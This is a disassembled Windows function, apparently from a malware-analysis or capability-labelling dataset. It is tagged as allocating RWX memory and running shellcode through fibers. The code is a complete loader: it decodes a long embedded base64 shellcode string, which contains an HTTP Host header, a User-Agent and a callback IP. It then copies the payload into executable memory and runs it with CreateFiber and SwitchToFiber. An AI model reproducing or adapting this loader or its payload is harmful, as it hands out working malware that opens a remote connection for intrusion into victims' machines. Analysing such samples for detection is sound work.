Function at 0x140001500
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers

Disassembly:
push rdi
sub rsp, 0x80
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x90], rbx
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [0x1400038f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov r8d, 0x4a8
lea rdx, str._EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj_yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv_gWEFZWkiLEulP____XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH_9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn_9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv_V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv_1UiJxkiDw1BqCl9IifFIidpJx8D_____TTHJUlJBui0GGHv_1YXAD4WdAQAASP_PD4SMAQAA69Pp5AEAAOii____L1JwYwD3FH7trLPhWHn1gbGHNsDU1ewu2p3ym9SGJdbRkr0pzUszqyGu8tY5TmRwh4DnIOkArT0DDAOIlTPslaQRVbuNBxJ1_Cu1c60SkABIb3N0OiBvdXRsb29rLmxpdmUuY29tDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKQ0KAIRpGlYXVaA4vMgMpZA2wooxI9pzAvr2zRqHBtYoDGeD93kYDCRXv7iA8w1x9q7OBR25ZsIpoSjmWaKMteA674Sn0fMvxnwJycpIh0TkiFrvJ0KpT8OB_Sy87UNPek0r2qH5Lt96S0GPnhBNX_bSRH9t_UbehOQI1s6TIWBuYfHTuc3oQ31KcX9tY1clT5A17w1eqzi8ekxCiRStSXdIe_L5kj8EUr6xMw71cM69vcaAzMsR_g4AQb7wtaJW_9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f_VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJUG6EpaJ4v_VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon_3__zE5Mi4xNjguMTAuMTUxAFEJv20
lea rcx, [rsp + 0x58]
call fcn.140001750
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
jne 0x140001572
lea rcx, str.FLS_OUT_OF_INDEXES_n
call fcn.140001040
jmp 0x14000168a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
jne 0x1400015b5
lea rcx, str.VirtualAllocExNuma_NULL_n
call fcn.140001040
jmp 0x14000168a
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.1400010a0
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov ebx, 0x384
mov r9d, 0x40
mov r8d, 0x3000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
cmp qword [rsp + 0x48], rbx
cmovb rbx, qword [rsp + 0x48]
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140001677
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001672
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001672
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001ff0
movdqa xmm0, xmmword [0x1400038f0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400016ca
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001ff0
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001a40
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret